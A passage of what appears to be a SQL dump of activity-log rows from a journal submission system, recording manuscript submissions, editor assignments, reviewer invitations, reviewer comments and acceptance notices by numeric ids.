has Invited Reviewer',12170,'Publisher',48),(113786,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12170,'Publisher',48),(113787,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12170,'Publisher',48),(113788,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12170,'Publisher',48),(113789,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12170,'Publisher',48),(113813,'0000-00-00 00:00:00','Author sent Email',11984,'Author',12285),(114016,'0000-00-00 00:00:00','Reviewer has submitted comments',11693,'Reviewer',11520),(114017,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11693,'Editor',194),(114018,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11693,'Editor',194),(114019,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11684,'Editor',194),(114020,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11684,'Editor',194),(114021,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11693,'Publisher',48),(114022,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11693,'Publisher',48),(114027,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12177,'Publisher',988),(114028,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12177,'Publisher',988),(114029,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12177,'Publisher',988),(114030,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12177,'Publisher',988),(114031,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12177,'Publisher',988),(114032,'0000-00-00 00:00:00','Reviewer has submitted comments',11610,'Reviewer',18830),(114033,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11610,'Editor',1410),(114034,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11610,'Editor',1410),(114035,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11610,'Publisher',988),(114036,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11610,'Publisher',988),(114043,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12198,'Author',12466),(114044,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12199,'Author',12467),(114049,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12200,'Author',12468),(114056,'0000-00-00 00:00:00','Reviewer has submitted comments',11744,'Reviewer',11520),(114058,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11744,'Publisher',48),(114059,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11744,'Publisher',48),(114060,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11403,'Editor',1406),(114061,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11403,'Editor',1406),(114062,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11403,'Editor',1406),(114063,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11403,'Publisher',984),(114064,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11403,'Publisher',984),(114066,'0000-00-00 00:00:00','Reviewer has submitted comments',11872,'Reviewer',18838),(114067,'0000-00-00 00:00:00','Publisher : Notified Editor',11872,'Publisher',988),(114068,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11872,'Editor',1410),(114069,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11872,'Editor',1410),(114070,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11872,'Publisher',988),(114093,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12200,'Publisher',48),(114094,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12200,'Publisher',48),(114095,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12200,'Publisher',48),(114096,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12200,'Publisher',48),(114097,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12200,'Publisher',48),(114101,'0000-00-00 00:00:00','Reviewer has submitted comments',11684,'Reviewer',11520),(114102,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11684,'Publisher',48),(114103,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11684,'Publisher',48),(114104,'0000-00-00 00:00:00','Reviewer has submitted comments',12170,'Reviewer',11520),(114105,'0000-00-00 00:00:00','Reviewer has submitted comments',12170,'Reviewer',11520),(114106,'0000-00-00 00:00:00','Reviewer has updated comments',12170,'Reviewer',11520),(114150,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12205,'Author',12472),(114169,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12198,'Publisher',85),(114171,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12199,'Publisher',673),(114172,'0000-00-00 00:00:00','Reviewer has submitted comments',11951,'Reviewer',18830),(114173,'0000-00-00 00:00:00','Publisher : Notified Editor',11951,'Publisher',988),(114174,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11951,'Editor',1410),(114175,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11951,'Editor',1410),(114176,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11951,'Publisher',988),(114203,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12036,'Editor',194),(114204,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12036,'Editor',194),(114205,'0000-00-00 00:00:00','Reviewer has submitted comments',12036,'Reviewer',11520),(114206,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',12036,'Publisher',48),(114207,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',12036,'Publisher',48),(114212,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(114213,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(114214,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(114215,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(114216,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(114217,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(114218,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(114219,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(114220,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(114222,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(114223,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(114224,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(114225,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(114226,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(114227,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11958,'Publisher',673),(114229,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',11443,'Editor',1710),(114230,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11443,'Editor',1710),(114231,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12211,'Author',12477),(114299,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11443,'Publisher',984),(114319,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12205,'Publisher',48),(114321,'0000-00-00 00:00:00','Author sent Email',11808,'Author',12148),(114333,'0000-00-00 00:00:00','Author sent Email',11547,'Author',11948),(114334,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12198,'Publisher',85),(114335,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12198,'Publisher',85),(114336,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12198,'Publisher',85),(114337,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12198,'Publisher',85),(114338,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12198,'Publisher',85),(114339,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12198,'Publisher',85),(114340,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12198,'Publisher',85),(114341,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12198,'Publisher',85),(114342,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12205,'Publisher',48),(114343,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12205,'Publisher',48),(114344,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12205,'Publisher',48),(114345,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12205,'Publisher',48),(114354,'0000-00-00 00:00:00','Reviewer has submitted comments',11969,'Reviewer',20696),(114355,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12198,'Publisher',85),(114356,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12198,'Publisher',85),(114357,'0000-00-00 00:00:00','Reviewer has submitted comments',11969,'Reviewer',20695),(114358,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12198,'Publisher',85),(114359,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12198,'Publisher',85),(114360,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12198,'Publisher',85),(114361,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12198,'Publisher',85),(114362,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12198,'Publisher',85),(114363,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12198,'Publisher',85),(114364,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12198,'Publisher',85),(114365,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12198,'Publisher',85),(114366,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12198,'Publisher',85),(114367,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12198,'Publisher',85),(114369,'0000-00-00 00:00:00','Reviewer has submitted comments',11968,'Reviewer',20695),(114370,'0000-00-00 00:00:00','Reviewer has submitted comments',12091,'Reviewer',20695),(114373,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12198,'Publisher',85),(114374,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12198,'Publisher',85),(114375,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12198,'Publisher',85),(114376,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12198,'Publisher',85),(114378,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12224,'Author',12492),(114400,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11443,'Publisher',984),(114414,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',12008,'Publisher',84),(114415,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',10190,'Publisher',48),(114416,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',10190,'Publisher',48),(114417,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',12229,'Publisher',48),(114420,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11710,'Publisher',984),(114421,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11710,'Publisher',984),(114422,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11710,'Publisher',984),(114423,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11710,'Publisher',984),(114424,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11710,'Publisher',984),(114425,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11710,'Publisher',984),(114426,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11710,'Publisher',984),(114427,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11710,'Publisher',984),(114428,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11710,'Publisher',984),(114429,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11710,'Publisher',984),(114430,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11710,'Publisher',984),(114431,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11710,'Publisher',984),(114432,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11710,'Publisher',984),(114433,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12199,'Publisher',673),(114434,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12199,'Publisher',673),(114435,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12199,'Publisher',673),(114436,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12199,'Publisher',673),(114437,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12199,'Publisher',673),(114438,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12199,'Publisher',673),(114439,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12199,'Publisher',673),(114440,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12199,'Publisher',673),(114441,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12199,'Publisher',673),(114442,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12199,'Publisher',673),(114443,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12199,'Publisher',673),(114444,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12199,'Publisher',673),(114445,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12199,'Publisher',673),(114446,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12199,'Publisher',673),(114447,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12199,'Publisher',673),(114448,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12199,'Publisher',673),(114449,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12199,'Publisher',673),(114450,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12199,'Publisher',673),(114451,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12199,'Publisher',673),(114453,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12199,'Publisher',673),(114454,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12199,'Publisher',673),(114455,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12199,'Publisher',673),(114456,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12199,'Publisher',673),(114457,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12199,'Publisher',673),(114458,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12199,'Publisher',673),(114463,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',12036,'Publisher',48),(114464,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12199,'Publisher',673),(114484,'0000-00-00 00:00:00','Reviewer has submitted comments',11710,'Reviewer',10967),(114485,'0000-00-00 00:00:00','Reviewer has submitted comments',12013,'Reviewer',10967),(114486,'0000-00-00 00:00:00','Reviewer has submitted comments',11403,'Reviewer',10967),(114487,'0000-00-00 00:00:00','Reviewer has submitted comments',10930,'Reviewer',10967),(114488,'0000-00-00 00:00:00','Reviewer has submitted comments',10930,'Reviewer',10967),(114489,'0000-00-00 00:00:00','Reviewer has submitted comments',10930,'Reviewer',10967),(114492,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12211,'Publisher',85),(114493,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12211,'Publisher',85),(114494,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12211,'Publisher',85),(114495,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12211,'Publisher',85),(114496,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12211,'Publisher',85),(114497,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12211,'Publisher',85),(114498,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12211,'Publisher',85),(114499,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12211,'Publisher',85),(114500,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12211,'Publisher',85),(114501,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12211,'Publisher',85),(114502,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12211,'Publisher',85),(114503,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12211,'Publisher',85),(114504,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12211,'Publisher',85),(114505,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12211,'Publisher',85),(114506,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12211,'Publisher',85),(114507,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12211,'Publisher',85),(114508,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12211,'Publisher',85),(114509,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12211,'Publisher',85),(114510,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12211,'Publisher',85),(114511,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12211,'Publisher',85),(114512,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12211,'Publisher',85),(114513,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12211,'Publisher',85),(114550,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',12080,'Publisher',84),(114557,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12015,'Publisher',274),(114559,'0000-00-00 00:00:00','Publisher has been Assigned Editor',11980,'Publisher',274),(114589,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12224,'Publisher',984),(114603,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12229,'Publisher',48),(114625,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12267,'Author',12536),(114627,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12271,'Author',12540),(114633,'0000-00-00 00:00:00','Manuscript Submitted by Author',12278,'Author',12547),(114634,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12279,'Author',12548),(114646,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12284,'Author',12555),(114688,'0000-00-00 00:00:00','Manuscript Submitted by Author',12286,'Author',11947),(114689,'0000-00-00 00:00:00','Author sent Email',11546,'Author',11947),(114691,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12289,'Author',12560),(114731,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12284,'Publisher',48),(114732,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12279,'Publisher',48),(114733,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12267,'Publisher',48),(114734,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12295,'Author',12564),(114788,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12284,'Publisher',48),(114789,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12284,'Publisher',48),(114790,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12284,'Publisher',48),(114793,'0000-00-00 00:00:00','Author sent Email',12279,'Author',12548),(114795,'0000-00-00 00:00:00','Author sent Email',12279,'Author',12548),(114874,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12307,'Author',12576),(114880,'0000-00-00 00:00:00','Author sent Email',12279,'Author',12548),(114913,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12313,'Author',12582),(114915,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12279,'Publisher',48),(114916,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12279,'Publisher',48),(114917,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12279,'Publisher',48),(114926,'0000-00-00 00:00:00','Author sent Email',11619,'Author',12011),(114931,'0000-00-00 00:00:00','Author sent Email',11073,'Author',11584),(114935,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12324,'Author',12594),(114942,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12327,'Author',12597),(114943,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12328,'Author',12598),(114947,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12278,'Publisher',75),(115017,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12339,'Author',12606),(115019,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12341,'Author',12608),(115073,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12347,'Author',12615),(115074,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12348,'Author',12616),(115098,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12307,'Publisher',75),(115103,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12327,'Publisher',48),(115104,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12313,'Publisher',48),(115105,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12313,'Publisher',48),(115106,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12313,'Publisher',48),(115107,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12327,'Publisher',48),(115108,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12327,'Publisher',48),(115109,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12327,'Publisher',48),(115174,'0000-00-00 00:00:00','Author sent Email',11870,'Author',12191),(115183,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12370,'Author',12641),(115242,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12347,'Publisher',48),(115244,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12347,'Publisher',48),(115245,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12347,'Publisher',48),(115257,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12229,'Publisher',48),(115258,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12229,'Publisher',48),(115259,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12205,'Editor',194),(115260,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12205,'Editor',194),(115261,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12229,'Editor',194),(115262,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12229,'Editor',194),(115263,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12229,'Editor',194),(115264,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12200,'Editor',194),(115265,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12200,'Editor',194),(115266,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',12205,'Publisher',48),(115267,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',12200,'Publisher',48),(115268,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',12229,'Publisher',48),(115273,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12341,'Publisher',85),(115274,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12339,'Publisher',85),(115280,'0000-00-00 00:00:00','Reviewer has submitted comments',12198,'Reviewer',15826),(115282,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12341,'Editor',1291),(115295,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12339,'Publisher',85),(115296,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12339,'Publisher',85),(115297,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12339,'Publisher',85),(115298,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12339,'Publisher',85),(115299,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12339,'Publisher',85),(115300,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12339,'Publisher',85),(115301,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12339,'Publisher',85),(115302,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12339,'Publisher',85),(115303,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12339,'Publisher',85),(115304,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12339,'Publisher',85),(115305,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12339,'Publisher',85),(115306,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12339,'Publisher',85),(115307,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12339,'Publisher',85),(115308,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12339,'Publisher',85),(115309,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12339,'Publisher',85),(115310,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12339,'Publisher',85),(115311,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12339,'Publisher',85),(115312,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12339,'Publisher',85),(115313,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12339,'Publisher',85),(115317,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12348,'Publisher',75),(115318,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12328,'Publisher',75),(115327,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12341,'Publisher',85),(115328,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12341,'Publisher',85),(115329,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12341,'Publisher',85),(115330,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12341,'Publisher',85),(115331,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12341,'Publisher',85),(115332,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12341,'Publisher',85),(115333,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12341,'Publisher',85),(115334,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12341,'Publisher',85),(115335,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12341,'Publisher',85),(115336,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12341,'Publisher',85),(115337,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12341,'Publisher',85),(115338,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12341,'Publisher',85),(115339,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12341,'Publisher',85),(115340,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12341,'Publisher',85),(115356,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12394,'Author',12661),(115358,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11914,'Publisher',75),(115359,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11914,'Publisher',75),(115360,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11914,'Publisher',75),(115361,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11914,'Publisher',75),(115362,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11914,'Publisher',75),(115363,'0000-00-00 00:00:00','Publisher has Invited Reviewer',11914,'Publisher',75),(115366,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',11547,'Publisher',75),(115368,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12103,'Publisher',75),(115369,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12103,'Publisher',75),(115370,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12103,'Publisher',75),(115371,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12103,'Publisher',75),(115372,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12103,'Publisher',75),(115373,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12133,'Publisher',75),(115374,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12133,'Publisher',75),(115375,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12133,'Publisher',75),(115376,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12133,'Publisher',75),(115377,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12133,'Publisher',75),(115379,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12278,'Publisher',75),(115380,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12278,'Publisher',75),(115381,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12278,'Publisher',75),(115382,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12278,'Publisher',75),(115383,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12278,'Publisher',75),(115385,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12307,'Publisher',75),(115386,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12307,'Publisher',75),(115387,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12307,'Publisher',75),(115388,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12307,'Publisher',75),(115389,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12307,'Publisher',75),(115390,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12328,'Publisher',75),(115391,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12328,'Publisher',75),(115392,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12328,'Publisher',75),(115393,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12328,'Publisher',75),(115394,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12348,'Publisher',75),(115395,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12348,'Publisher',75),(115396,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12348,'Publisher',75),(115397,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12348,'Publisher',75),(115398,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12348,'Publisher',75),(115412,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12347,'Editor',194),(115413,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12347,'Editor',194),(115414,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12347,'Editor',194),(115415,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12327,'Editor',194),(115416,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12327,'Editor',194),(115418,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12313,'Editor',194),(115419,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12313,'Editor',194),(115420,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12313,'Editor',194),(115421,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12284,'Editor',194),(115422,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12284,'Editor',194),(115423,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12279,'Editor',194),(115424,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12279,'Editor',194),(115425,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12267,'Editor',194),(115426,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12267,'Editor',194),(115427,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',12347,'Publisher',48),(115429,'0000-00-00 00:00:00','Editor has Accepted to review 